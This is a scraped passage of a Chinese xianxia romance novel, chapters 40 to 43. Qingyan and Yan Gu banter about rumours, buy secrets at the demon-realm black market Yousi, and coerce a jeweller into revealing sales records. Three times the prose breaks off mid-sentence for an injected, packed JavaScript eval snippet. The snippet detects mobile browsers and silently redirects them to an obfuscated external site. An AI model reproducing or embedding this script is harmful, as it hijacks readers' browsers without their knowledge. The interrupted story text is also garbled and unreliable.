言毕有脚步声传来,似乎那道细音的主人真的正在朝颜故出发。 还好此时青晏她们恰巧下了山坡,正苦于没有理由拔腿就走的颜故立即远远迎上前去。 “咦,怎么感觉你走的这几步这么着急?”明煦打量了一下颜故的神色,然后恍然大悟道,“哦……我明白了。” 她的笑颜里有几分调侃:“你后悔了?想见见妖皇的妹妹?” 颜故张了张嘴,委实不知怎么又提起这个来:“不是,只是想来迎一迎你们。” 他也不知道自己的目光为什么不由自主地移向了青晏:“我绝对没有那个心思。” 明煦遗憾道:“怎么不见见呢?你想啊,妖皇本人都长这么好看,审美水平也一定很高的,所以连他都说绝美的妹妹肯定也很好看,你真不想见见?况且若是往世俗了想,要是她也能看上你,你以后那可就是妖皇的妹夫了。这人脉,这地位,直接起飞啊。” 颜故一眨不眨地望着青晏,瞳孔里闪着幽微的暗芒:“仙子也这么想吗?” 40.微妙 “那倒是没有,明煦也只是开玩笑的。”青晏道,“而且感情这种东西,和身份地位无关。” “仙子觉得和什么有关?” “你要这么问的话……”青晏思忖了一阵,“我还真没想过这个问题。” “起码跟长相还是有很大关系的吧,”明煦看了青晏一眼,“是吧,你应该也不喜欢丑的吧?” 青晏哭笑不得:“谁会特意去喜欢长得丑的?” 颜故挑了挑眉,神色怡然地微微侧点了一下头。 他姿态颇为优雅地转过身,和青晏他们一起,被那两名从山洞里走出来相送的侍女领着朝一片空地走去,那里已经有另外一只海鸥在等待了。 然而下一瞬…… 那两名侍女竟又开始小声地叽里咕噜起来。 颜故浑身一僵。 他的眼珠以极慢的速度一点点朝青晏的方向转去,却发现她果然正似笑非笑地看着他,明明就是想说些什么的表情,然而最终却像是顾虑着什么一样没说出口,只是意味深长地挑了挑眉。 颜故心如死灰地闭上了眼。 生平第一次,他希望自己听不懂妖族语言,这样就不必被迫忍受“水边、林中、清晨、深夜、某些身体部位”等一系列关键词的侵袭,也不必压抑那股想要让她们俩从此再不能言的戾气。 但其实…… 他又睁开眼,眸间微光无声无息地闪动。 青晏则是在心中暗暗感叹。 妖界民风果然还是一如既往地狂放自由啊…… 他们坐上另外一只海鸥的背,朝着幽肆的方向前进。 青晏本想四处看看风景,余光里却不小心瞟到正背对着她坐着,耳朵上方仍泛着淡淡粉色的颜故,心中不免觉得有趣。 这有什么好害羞的?不过是两个小侍女的玩笑之语,又不是真实发生过的事,颜故居然还真的听进去了,说他脸皮薄,还真是薄…… 等等。 她眼睛微微一转。 该不会他真做过类似的事情,现在是被那些话勾起了那时的回忆和感受,所以才在一边回味一边害羞吧? 可颜故看着也……不像啊?他刚才不是也说没有伴侣或是意中人吗? 青晏又琢磨了一会儿,猛地回过神来,开始唾弃突然变得八卦起来的自己。 人家后辈的感情经历跟你有什么关系?少想这些有的没的。 她定了定心思,转过脸去欣赏起了妖界的秀美风光。 颜故虽然看不见青晏,但背后突然凝重起来的目光还是令他背上逐渐绷紧。 他努力维持着这个坐姿,自认自己现在流畅挺拔的背影里应该也透着那么一股天然的羞涩与纯真,完美得无懈可击,无可挑剔,无…… 无人问津。 那道目光只在他身上停留了短短一瞬,很快便消失了。 颜故微微蹙起眉来。 为什么?仙子在看向我的时候,心里究竟在想些什么?是会觉得这样的我与平日里略有不同,觉得有趣? 还是……听了那些不雅之言,连被提及的我也一并嫌恶了? 他长睫一落。 如果真的被讨厌了…… 颜故在心中细细描绘了一遍刚才那两个妖族侍女的脸,眸中渐渐翻涌起暗色。 海鸥带着他们越过了一个又一个看起来就极为繁华的街市,然而最终却落在了一处看起来有些荒凉的地方。 此处不仅没什么人,也没多少房子,仅有的那几间房屋墙壁上也生出了裂痕,就连空中也弥漫着淡淡的灰土气息。 只是这地方看起来虽破败,却已经有不少妖族正在三三两两地聚堆捣鼓着些什么,似是打算在这支起摊子来。 “明天,这里就是幽肆。”新海鸥简短道。 明煦下意识地回道:“哦哦,好……” 那个“好”字的音还没发完,一阵夹杂着土粒的风就刮了在场所有人一脸。 等他们再睁开眼的时候,新海鸥早已离他们远去,以天空中黑点的大小来推算的话,他飞得似乎要比之前的那位大海子快得多。 “妖界还真是,一个比一个更不爱干活儿啊,有点意思。”明煦道。 “这多正常,”青晏翻了翻眼睛,“谁爱干活?” “我看这些正在摆摊的人就挺爱干活的……”明煦向那个方向张望着,“可不是说幽肆明天才开门吗,他们现在摆什么摊?” 唐禾也好奇地四处观察着,却意外地发现了远处正吭哧吭哧地挪动着满满一筐草药的阿抹。又见到他们几个,阿抹也激动极了。 她先是热情洋溢地往他们几个手里各塞了一大把据她所说可以“心情舒畅”的草药,然后道:“是我们族长让我来的!他说我在外面闯荡过,会跟人沟通,一定可以卖好草药,这样也算是给我找点事情做,省得我刚回来会迷茫!” “那为什么在这里卖?妖界不是有很多更繁华一些的集市吗?这里……”青晏环视了一圈,“似乎都是和你一样来卖货的商人。” “因为明天幽肆开放之后会来很多人,”阿抹在空中比划着,“超——级多,多到就算在幽肆外面摆摊都能卖出去不少东西呢,当然要来蹭一蹭!” “哎对了,你们不是来找朋友……或者是找妖皇陛下……的吗?”她疑惑地歪着脑袋,“怎么又突然到了这里,是也想来幽肆买东西?” “倒不是非要买东西,”青晏道,“来得正好赶巧了,所以想逛逛。” “第一次来幽肆?需要我帮忙给你们介绍介绍,带带路吗?”阿抹目光澄澈,“虽然说幽肆里的大部分商人什么语言都会说,但如果碰巧遇见不会的,你们可以来这里找我呀!” “好,”青晏笑笑,随手用仙术将阿抹的摊子支好,又将那几筐草药全部摆齐。阿抹高兴坏了,连连说要请他们吃饭,不容拒绝地拖起唐禾就走。 有了唐禾做“人质”,其余几人不得不随着阿抹七拐八拐地进了一家小店,看着阿抹熟稔地点了一堆据称是妖界特色的美味。 或许是美味吧。 因为只有阿抹一个人吃得眉飞色舞,明煦和唐禾较为给面子地吃了几口,青晏则是看着那些菜就已经失去了进食的想法,颜故也几乎是一筷没动。 阿抹见状有些失落,唐禾只好违心地安慰她这很正常,神仙都是不怎么吃东西的,小兔妖这才重新高兴起来。 ----------------- 是夜,青晏躺在自己所幻出庭院的床铺上,思绪忍不住地开始梳理起明日去幽肆要做的事来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14252975|148307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 虽说妖皇崇岚允诺了自己会将他这边渡生藤的出入记录整理好给她看,可毕竟从妖皇那边做手脚应该不太容易,幽肆这边的渡生藤生意记录才是重中之重。 况且还有打探裂魂琵琶究竟如何来到人界、查明是否还有与其类似的法器流散各地、查到一半被迫断掉的福运交易,以及最最重要的,细心留神幽肆里所发生的一切,说不准就能从中摸出一些魔界暗地里的谋划。 许久没这么操过心的青晏突然感觉有些烦躁。 她起身推开门,让清凉的夜风拂过自己的身心,瞬间感觉自己平静了许多。 这才哪到哪,随着调查的逐渐深入,往后比这烦心的日子肯定更多,自己要习惯起来才是。 不过好在她现在并不是孤身一人,起码身边还有个伶俐聪慧,很能帮得上忙的颜故…… 想到颜故,她不免又回忆起今日那两位侍女放肆大胆的交谈。 嗯,正好是深夜了,不知那两位侍女今夜的梦中,是否正在按照她们自己构画的情节上演? 她不禁又想到颜故那一路上心如死灰的消沉模样,以及在海鸥飞行时那个背对所有人坐着的孤单背影,实在忍不住心中的笑意,低低地笑出了声。 “仙子在偷偷笑什么?”一个有着几分哀怨的声音在她身后响起,“该不会是在笑我吧?” 青晏闻言转身,颜故正站在他所在的那间房门口,微微敛着眉看她。 白日里束着发的玉冠已然不见,如缎如瀑般的黑发从他的肩头垂下,蜿蜒着从宽阔的胸膛游走至精瘦的腰身。 他那张眉目如画的脸被柔和的月光打上恰到好处的阴影,只有一双眸子在暗夜里闪着细碎的光芒,使得颜故那本就出众得离奇的美貌更上一层楼,着实叫人很难移开目光。 而青晏也确实没有移开目光。 好像是比崇岚好看一些呢,她心头突然冒出这样的想法。 但这不重要,重要的是千万不能让他知道自己刚才的确是在笑他。 “没有笑你,怎么会笑你呢?”青晏随口编了个理由,“我是突然想起妖皇说澈樾骂他的事情,在猜澈樾可能说了些什么呢。” 她本以为颜故会松一口气,却没想到他的声音反而更低沉了一些:“仙子半夜不睡觉,原来是在想妖皇。” “嗯?”青晏一下子没跟上他的思路,“想他干什么,我跟他第一天认识,要想也是想澈樾啊。” “哦。”颜故看起来并没有更高兴。 他走到青晏身边,注视着自己被月光投在地上,和青晏几乎依偎在一起的影子:“所以仙子和谁认识的时间更长,就会更容易想起谁来?” 青晏想了一会儿:“应该是这个道理吧,相处的时间越久,就越是自己生活的一部分,会想起来也很正常。” “那如果这么说的话……”颜故的声音轻了下去,“与仙子认识时间最久的是谁呢?” 他状似漫不经心地开口:“是天帝吗?” 青晏点头:“朋友里的话,倒确实是和他认识最久。但他一直很忙,我们平时也不常说话。” “是朋友啊。”颜故没什么起伏地重复了一遍。 而后他立即发出追问:“那既然不常说话,仙子和他的传闻又是怎么来的呢?” 41.传闻 青晏有些疑惑:“什么传闻?” 颜故低下头:“原先在修行时,便听过天帝与仙子你关系密切,青眼有加的风闻。而且初见那日在大殿上时……” 他的声音放得很轻:“天帝对仙子也是极为亲切。” 青晏愣了愣,随即便反应过来,无奈地扶住了额头。 难道这么多年过去了,她和宸景的事竟然还在下界流传吗?早知道当年就不和他搞这么个权宜之计了…… 她在心中重重地叹了口气,然后尽量以一副平和的口吻道:“那都是演给别人看的。有了这样的传闻,我们俩身边都能少很多追求者,省心。” 颜故眼睫微动,又抬起头来看她:“可天界那么多人选,仙子又说与天帝并不常说话……那是因为什么选择了彼此来演这出戏的呢?” 青晏有些糊涂:“这很重要吗?” 颜故不答反问:“这个原因对仙子来说重要吗?” “那有什么重要不重要的……你怎么突然关心起这个?” 颜故微微一笑,云淡风轻地答道:“作为仙子的后辈,自然想要多了解仙子一点。” 他眸中有深邃暗光缓缓流转。 “行吧,”青晏委实被年轻人过于旺盛的好奇心打败了。 她索性带颜故来到庭院中的石凳上坐下:“我只说这一遍,以后再不许问。” 颜故乖巧应声。 青晏在脑内理了理,将她和宸景这点陈芝麻烂谷子讲了个清楚。 原来,她与宸景,均由天界最纯粹的灵气化生而成,极为罕见,是以上任天帝兆邈特意将他们二人放在一起看顾,试图将他们都培养成天界的支柱,直到他发现了青晏的本性——懒散。 修行速度呢,是快的,但她经常不想修行,反倒是窝在某个不知名角落一睡就是一天。 所以兆邈天帝长叹一声,自认天界有宸景这么一个未来的顶梁柱已算足够,便大发慈悲地放了青晏自由,让她与她的师父,也就是那个当初在一处灵气充沛的地方寻见初化形的她的仙圣存羽,一起逍遥去了。 然而存羽也是懒的。 他不想教了的时候,就会偷偷摸摸地把青晏送到宸景那去,反正宸景的进度比她快多了,那些该学的东西兆邈天帝肯定都教过他,如今让他教教自家小青晏,还算复习了呢。 除了修行,生活里什么都没有的小宸景自然也乐于身边有个同伴,更何况他们二人同为灵生之体,很多修行上的疑惑也方便和彼此探讨,这样一来二去的就熟起来了。 后来,兆邈天帝归隐云游,宸景成为了新的天帝。他本就生的一副丰神俊朗的好模样,如今地位卓然,各界的爱慕者数量则更是有增无减,隔三岔五地就冒出来惹得他头疼。 而青晏这边虽也有不少追求者,但她靠着没事窝在府里几乎不露面的绝佳生活方式,成功将绝大多数追求者的激情逐渐掐灭。 直到三千年前。 北海龙族的小王爷不知道抽什么风,突然就开始给她送极为珍贵的礼物,就算每次都被原样退回也毫不气馁,甚至一次比一次送得更多。不仅如此,每次送来的礼物里还总是附赠厚厚的信。 颜故闻言微微歪头:“信里写了什么?” 青晏摊手:“我没看过。只有明煦出于好奇打开过几封,很是嫌他遣词造句令人牙酸,只赞他毅力惊人。” 颜故别过脸去:“仙子品貌绝世,魅力惊人,自然容易让人魂绕梦牵。” 得,又来了,这纯熟得仿佛刻在灵魂里的赞美本能…… 青晏决定忽视他的发言:“让他继续下去肯定不行,但碍于龙族的面子又不好跟他真的翻脸。正好宸景也在头疼身边的爱慕者实在太多,于是我们俩一合计,就索性放了一些有点旖旎的暗示出去。” “所以这便是那风闻的由来……” “嗯,当时的效果还算不错,那龙族小王爷从此偃旗息鼓再没了动作,宸景也觉得自己耳根子清净了不少。只是没想到这小道消息传得飞快,感觉一夜之间就连荷叶底下的青蛙都知道了,又一直传到了现在。” 青晏长叹:“真不明白为什么会这样,这有什么好值得传的?” 颜故的语气泛着淡淡的酸意:“或许是大家都觉得天帝与仙子十分相配吧。同样的出身,相仿的年龄,又都有着过人的容貌,还有着从小一起长大的情谊……” “按你这样筛选,天底下有的是相配的人,难道他们就一定要在一起?哪有这样的道理。”青晏站起身来,“好了,为什么会有这样的传闻你也知道了,现在你的好奇心满足了吧?可以回去睡觉了吧?” “在回去睡觉之前,我还有一件事想说。”颜故跟在青晏身后,“为了避免自己以后也多出什么莫名其妙的传闻,我想先和仙子剖白一下自己。” “你说。” “今日那两位侍女所说之事,”颜故的耳朵再一次红了起来,“……我从来没有做过。仙子莫要对我留下什么……不好的印象。” 青晏茫然抬头:“啊???” 这是在干什么,这是在干什么!为什么突然和她说起这些!这和游历有关系吗?这和魔界的阴谋有关系吗?这和明煦遇袭有关系吗?这件事到底跟什么有关系?! 不过很快她便冷静下来。 认识这么久了,你也应该知道颜故就是这么一个追求完美的人,自然是希望自己可以在所有人心中都保持着完美无缺的形象。而今日那两个妖族侍女所讲的话又只有他和自己听得懂,他害怕自己传出去也是理所应当的。 嗯,这么一想就合理多了。 迅速将自己说服的青晏淡定地点了点头:“无妨,我知道那只是她们俩的玩笑之语,不会外传影响你的形象,你不用放在心上。” 颜故疑惑地望着青晏迅速闪进屋内的背影,欲言又止。 这不是他想象中该有的反应,到底是哪里出了问题? ----- 翌日。 青晏一行人隐去原本容貌,化身为四个长相普 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14272810|148307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 通过目即忘的路人面孔,来到了昨天那个地方。 只是此时原本破败的场景已经完全变样,一幢幢张牙舞爪的楼阁拔地而起,上面挂满了各色布绸,正随着被风送过来的叫卖声一起在空中飘荡。 放眼望去,作为三个月才开放一次的地下黑市幽肆看起来和普通的妖界集市区别不大,前提是别仔细去看,仔细去听。 否则你将会看到诸多奇形怪状,看起来就不是很吉祥的东西,听到诸如:“心甘情愿献出的人类心脏,罕见奇货!”以及“千年魔兽九重猿的后槽牙,仅有两颗!”等在普通集市上绝对听不到的吆喝。 明煦好奇地在各家铺子前转来转去,注意力一会儿被这个吸引走一会儿被那个勾了去,但大部分东西她都不明白能起到什么作用,所以也并没有真的想买下什么。 而青晏的视线却在不久后被一个小小的摊子牢牢吸引走。 那是一个与众不同的摊子,在大家都在卖力吆喝、使出浑身解数吸引买家的时候,只有这个摊子除了一个带着兜帽坐在小凳子上的身影外,其他什么东西都没有。 青晏当机立断向这个摊位快步走去,心下暗喜。 她终于找到这个只存在于传说中的“晓万事”的摊子了。 据传,妖界黑市幽肆里有个专卖各类消息的摊位,摊主行踪不定,并非每次幽肆开市都会出现,须得有缘人才能得见。 更为神奇的是,虽不知摊主到底有着怎样可靠的消息渠道,但只要是从此摊位所得的消息,不管多么离奇复杂,事后必定会被印证为真,因此定价极为高昂。 不过也正因为这消息的价格常人难以承受,所以若非极为至关重要之事,甚少会有人来此询问。 关于的摊主的真实身份,坊间里一直有着各色各样的传闻。有人说这摊主是一个见多识广,在各界各地都结交了许多人脉的慈祥老者,又有人说他是一个运筹帷幄,手下探子无数的成熟男子。 然而等青晏在摊位前坐下来时,从兜帽里传出来的声音却听起来像个只有十二三岁的天真少女。 她毫不客气道:“贵,一万灵石起。” “无妨,”青晏直视着兜帽的黑色洞口,“先说问题,你再定价?” “懂规矩。”少女的声音听起来有几分愉悦,“说吧。” “渡生藤的生意,是谁在做?”青晏问出了她目前最关心的问题。 摊主伸出两根被包裹在严实手套里,看不出皮肤颜色和状态的手指:“两万。” 青晏依言从钱袋里掏出几块可抵两万低阶灵石的高阶灵石递了过去。 收到钱的摊主向西边遥遥一指:“穿过那个卖心尖肉泡酒的,往后走两家店,到卖珠宝的楼里说找二掌柜,就是他。除了进献给妖皇的渡生藤以外,其余所有的货都在他手里。” 青晏点点头:“那魔界的裂魂琵琶是怎么到了人界的,这个您可知道?” 摊主停顿了一下:“这个问题我有两个答案,要听便宜的,还是贵的?” 42.秘辛 明煦皱眉嘟囔着怎么会有两个答案,不会一真一假吧,被质疑了消息真实性的摊主登时不乐意了,说都是真的,爱买不买,手一伸,竟是一副立即卷摊要走的模样。 唐禾赶紧打圆场:“买,我们买。” 他试探着开口:“买贵的……能不能送便宜的呀?” 兜帽里的身影似乎抬头看了唐禾一眼,非常勉强地同意了。 她将青晏递过来的灵石妥帖放好,然后非常坦然地说便宜的答案就是她不知道裂魂琵琶具体是怎么到人界的,然后话锋一转,在明煦头顶开始冒烟之前表示但她知道谁有可能会知道。 幽肆最大的法宝商人,丞五,名气响但生意不干净,经常会低价收一些来路不明的法宝再高价卖出去,和法宝有关的消息他那最灵通,只是行踪不太固定。 好在摊主说她知道丞五如今正在许州做生意,并表示不管你们想打听什么和法宝有关的消息,如果连他都不知道,就也不必烦心去别处问了。 青晏又问福运交易的相关信息她这里知道多少,摊主得意地哼哼了两声,表示她这里有很多,就是不知道他们要选什么价位的。 青晏毫不犹豫地选了最贵的。 摊主点点头,丢出一个惊人的数目:“二十万。” 明煦感觉自己浑身的肉都开始抽抽着疼了。她一边不忍地紧抿着嘴,一边看着青晏干净利落地将钱袋整个放在了摊位上。 “欢迎自取,”青晏伸手示意,“还请确保我们所获非虚。” 摊主看了看钱袋,又看了看青晏那双冷静到似乎能洞察一切的眼睛,第一次用非常认真的语气对他们问道:“为什么要问这个问题?是也想分杯羹?” “是希望可以结束这门所谓的生意。”青晏的目光似乎能穿透进那兜帽里,“凡人何辜?” 兜帽里传来一声笑。 不过她很快恢复了正常,并直言既然是想要结束,光找背后的人是没用的。福运交易这门生意非常复杂,不只有一个人在做,他们之间也互相有斗争。她虽然可以将所有在做这门生意之人的名字都提供出来,但这并没有用。 毕竟他们今天找出一个,明天就能再冒出三个。所以这二十万,买的是一条保证他们可以一举结束这门生意的明路。只不过这条路他们走不走得了,就不在她的考虑范围之内了。 “如何?”摊主问青晏,“想听吗?” 青晏笑了笑,眼睛里跳动着坚定的光:“请讲。” 摊主将钱袋里几乎一大半的灵石都塞入怀中,接着缓缓开了口。 福运能从凡人身上夺过来,再灌注到所需之人身上这件事,从前是没有人知道的。直到大概五百年前,也是在幽肆,突然有人以极低的价格贩售此法,大约卖了半个时辰。 这期间虽然只卖出去了五份,但在此法最终被证明可行之后,原来的这五份又变成了多少份,具体数字便没人知道了。 所以做这门生意,难的并不是转移福运的法子,而是如何将福运保存起来,毕竟并不是所有买家都有时间等着一点点收集齐全。 因此谁能多囤货,谁的客人就越多。也是因为这个原因,打那之后,可以将福运暂存起来的浮雪草价格便一路猛涨。是以只要将浮雪草全都毁掉,这门生意自然做不下去。 “但……”摊主摇了摇头,没有继续往下说。 青晏眸光闪烁。 她明白摊主没说出来的话。 将浮雪草全部除去的办法用不得,因为它是可修复灵脉的灵枢瑞气丹中最重要的一味药材。此丹威力十足,就算伤者灵脉尽断,只要还有一丝灵识,便能逐渐将养过来,可以说是救命神药也不为过。 也正是因为如此,浮雪草的价格经年高昂不下,而今竟又被挖掘出了这样的用法。救命药草摇身一变,竟也能是一种方便害人的工具,实在是令人慨叹。 摊主打量了一下他们几人的神色,兜帽里传出一声低低的笑:“瞧几位嫉恶如仇的样子,还真是新鲜。不过若是想要替天行道,这世间可还有比福运交易恶劣得多的生意呢。” “比如?” “比如仙缘也是可以交易的,诸位知道吗?”摊主从鼻间哼出一声轻笑,“要我说,这才是真正的歹毒。福运交易好歹只是误人一世,并且福运这东西人人都有,只是分多分少罢了。那些做福运生意的,为了不沾染人命因果也不会拿得太多,所以出人命的概率说大不大说小不小,整体还算在可控范围内。” “但仙缘可是个稀罕物啊,”摊主前倾了身子,“且有心思和能力吸取他人仙缘者,通常在把对方的仙缘吸干为止前不会停手,除非他已经吸够了,能成仙了。可那被吸了仙缘的可怜人呢?永生永世,再无法成仙。大恶,大恶呀!” 仙缘交易? 青晏皱了皱眉。 自己此前竟从未听说过这样耸人听闻的事,但现下摆在他们面前需要解决的问题实在太多,这件事还是等回去之后再和宸景提比较好。 她收敛了一下心神,又问起了幽肆里的雇凶模式,比如想要买凶杀死一名天界的神仙,这样的委托该找谁去接。 摊主将这个问题对应的一万灵石收走,然后道原来幽肆里有人做这样的生意,但现在应该没人敢接了。 毕竟妖皇昨天刚刚下令,命所有妖族不论缘由如何,皆不可加害仙灵,纵有天大冤情,亦当先行禀呈,再图商榷,凡违此命者,其所在全族皆难逃罪罚。 明煦暗自吸了口气。 昨日他们见到的崇岚看起来是那么好说话的样子,没想到行事风格这么狠绝…… 青晏看起来倒是对崇岚的命令没什么反应,只是接着摊主的话问原来幽肆里做这样生意的人是谁。 摊主想了想,说看着他们已经买了那么多消息的份上,这个可以免费送他们。 她将头一摆:“喏,那片已经枯了的草地上,原来一直有个小草精在那牵线搭桥,他认识不少愿意为了一点灵石或是别的什么稀罕物动手的亡命之徒。” “不过……他最近一直没出现,”摊主摸了摸下巴,“这个我就不知道为什么了。” 怕是已经凉了吧……青晏不抱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14290568|148307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 任何希望地想。 摊主将已经开始要冒出来了的灵石使劲往兜里按了按:“你们问题真多,我累了,再回答最后一个我就要收摊了。” 青晏把空了的钱袋提起来一摇,原本在风中晃荡着的钱袋登时又变得满满当当起来。 她仍是十分有诚意地将钱袋放在摊主面前,微笑道:“那我便问最后一个。魔界最近有什么有趣的、或者是危险的消息吗?我出重金,有多少听多少。” 摊主匪夷所思地盯着她,连音量都高了几分:“都跟你说了我累了,你还问范围这么大的?” 青晏嘴上道了歉,面上却丝毫没有愧疚之意。 摊主舔了舔嘴唇,十分不情愿地从钱袋子里随便扒拉走了十几块高阶灵石,抱臂道:“好在你这问题范围虽大,但答案却很简单。魔界最近确实相比往常热闹起来了一些。” 沉乾,魔尊独子,近日从魔界偷偷溜出去了。魔尊风烬本来正打算给他商量一门婚事,好让他成亲后继位成为新魔尊,但沉乾嫌做魔尊不自由,不愿意,脚底抹油就跑了。 然而不管他愿不愿意,魔尊仍旧在四海搜求奇珍异宝给他装点门面,毕竟成亲和继位都是大事,魔界就算这一万年来再怎么沉寂,也必将大张旗鼓大肆庆祝。 摊主语速飞快地讲完,将摊位上的零碎一卷,拎起小凳拔腿就走,几下挪闪后便消失在了摩肩接踵的人群中。 明煦使劲揣摩了一下刚才接收到的海量消息,然后真心发问:“这摊主到底是什么人,怎么会知道这么多秘闻?” “既然每个人描述自己所见到的那个摊主都和别人的对不上,那么这个‘晓万事’的摊主极有可能并不是一个人,而是一个组织,只不过轮换着出来做摊主罢了。”青晏沿着幽肆弯弯曲曲的道路向前走去。 明煦跟在她身后掰着手指:“那么根据刚才的信息总结一下就是,我们接下来需要去找做渡生藤生意的珠宝楼二掌柜、那个或许知道裂魂琵琶来源的法宝商人,以及那个极有可能让树妖接活去杀我的小草精?” “嗯。” 明煦对自己的分析很是满意地点了点头,然后才发现他们走的方向竟是朝着珠宝楼去的。 她疑惑道:“不先去找那个小草精吗?” “崇岚那边本就已经在找这个牵线搭桥的中间人,相信他很快就会找到,我们不必重复去找。况且那小草精……十有八九已经死了。” “为什么?”唐禾好奇道。 青晏回头看了他一眼:“如果是我,这就是他唯一的结局。” “啊?”唐禾有些懵。 颜故轻笑一声,徐徐开口:“那个雇凶者,连没见过他面的杀手都要暗下禁制,又怎么可能会放过真正和他接触过的,有可能暴露他身份的人呢?更何况仙姬如今还活着,他那身份,便更得掩藏好了,不是吗?” 走在前方的青晏闻言不禁满意地点了点头,连脚步都不自觉地轻快了起来。 身边有个和自己思路同频的发言人,实在是太省心了。 她唇边漾起一个浅浅的笑。 43.渡生藤 真不愧是开在妖界地下黑市幽肆里的珠宝铺子。 这是青晏踏进璇宝楼的第一反应。 作为一家珠宝铺子,璇宝楼内的各色珠宝首饰自然宝光四射璀璨夺目,只不过和普通珠宝铺子不同,这家店不少珠宝的来路都不太光彩,甚至可以说有点血腥。 明煦正端详着摆在正中间那条缀着数颗深邃浓郁绿宝石的华丽项链,带着顶棕色小羊皮帽的掌柜就笑眯眯地开了口:“客人好眼光,这是我们的新货,全天下仅此一条的孤品,昨天刚从它前主人的脖子上摘下来呢。” 明煦一下子就没了欣赏的心情,也立即决定还是不问这条项链前主人的脖子现在如何了为好。 她看着那带着棕色小羊皮帽的掌柜与青晏交谈了几句,随即拿起一个精致的小金铃铛一摇,一个有些沉重的脚步声便咚咚地从楼上传了下来。 另一个和掌柜长得几乎一模一样,只不过戴着顶红色小羊皮帽的人出现在他们面前,想来这便是那个专做渡生藤生意的二掌柜了。 “贵客也是来买渡生藤的?”二掌柜搓了搓手,“可是,哎呀,真是不巧了,最后一批货上一次幽肆开门的时候就已经卖光了,贵客也知道,这是稀奇东西,不好弄到啊。” “我不要货,”青晏道,“我想知道,都有谁从你这买过渡生藤。” “哎呀,”二掌柜露出一个有几分遗憾的笑容,“不是我故意不告诉贵客,实在是往来幽肆的客人身份都比较特殊,我们也从不过问,实在不知道买过渡生藤的客人都是谁。就像几位贵客的身份,我不知道,也不想知道,这样的交易,对你我双方都安全呐。” “这样啊,”青晏点点头,“那不如我说直白点,你现在有两个选择。第一个呢,是悄悄地告诉我买家的身份以及具体购买数量,我听了就走,不会声张消息来源。” “第二个呢,”她环视了一圈店内的各色珠宝首饰,“你店里这些货,想必都是和方才那位掌柜所言一样,是孤品奇珍吧?” 二掌柜往后撤了一步,警惕道:“贵客若是动了想把这些珠宝劫走的心思,劝你还是别这么做。我们璇宝楼已做了三百余年生意,从未丢失过一件珠宝,这背后的各种措施与手段,我劝贵客,还是不要亲自经历为好。” “我不是要劫走它们,”青晏笑意清浅,“正相反,我是要送你一些。” 堂内有微风吹过,两位带着小羊皮帽的掌柜瞠目结舌地看着那些和他们店内所售之物一模一样的珠宝缓缓涌现,就连摆放方式都和之前丝毫不差。 原本为了凸显这些珠宝的珍稀与美丽,每一个陈列的架子上都只单独摆放那一件珠宝,给足了充分的留白空间不说,也让整家铺子都多了一丝错落有致的美感。 然而现在,所有架子上都井然有序地摆满了数件完全相同的珠宝,像极了菜市里被摆放得整整齐齐的大白菜,一眼望过去看得人头晕眼花,任谁都不会认为这里面卖的是正经东西,反倒像是街市口甩卖的便宜假货。 那两位掌柜当然清楚这不过是幻术,然而在施了不知道多少个驱散决后,那些珠宝非但没有消失,反而更加灿烂耀眼起来。 “不必再费心尝试了,”青晏好心提醒道,“只要我不想,它们永远不会消失。你就算弃了这家铺子换地方重开,它们也会一直跟着你,直到你把我想要知道的事情告诉我。” “怎么样?”她指了指此刻正关着的店门,“需要我帮你开门迎客吗?” 两位掌柜对视了一眼,二掌柜的脸色变得和他头上那顶红色小羊皮帽几乎没有分别。 威胁,明晃晃的威胁,但他们却只能被迫接受。 在幽肆做了这么多年生意,他们见过无数五花八门的花招伎俩,也自认法术还算高明,然而却对面前这个身份不明之人的幻术毫无办法。 那些凭空出现的珠宝上一丝幻术的气息都没有,结实闪亮得仿佛就是真正存在的东西一样,拿在手心里沉甸甸的,就连将其摔在柜台上都能听见嘭嘭的响声。 这满满当当、一模一样的货若是被其他顾客瞧见,定会怀疑他们弄虚作假,用量产的普货卖孤品的价格,然后一传十十传百,璇宝楼数百年的诚信根基很快便会毁于一旦。 和这样的后果相比,渡生藤的售卖信息便不值得保密了,二掌柜决定认栽。 他深呼吸了好几次,随后开口道:“请贵客随我上楼。” 青晏闻言向楼上走去,身后那些多出来的珠宝随着她的脚步消失,璇宝楼内又恢复成了原来那般古色古香的典雅模样。 二掌柜将一本小黑册子摆在青晏面前:“其实如我方才所说,我们不会去问客人的身份。但为了自己记录方便,什么时间卖出去了多少货,这些还是有记录的。贵客若想看,便看吧。” 青晏翻开册子:“你既在幽肆做生意,我不信来的这些客人里你一个都不认识。” 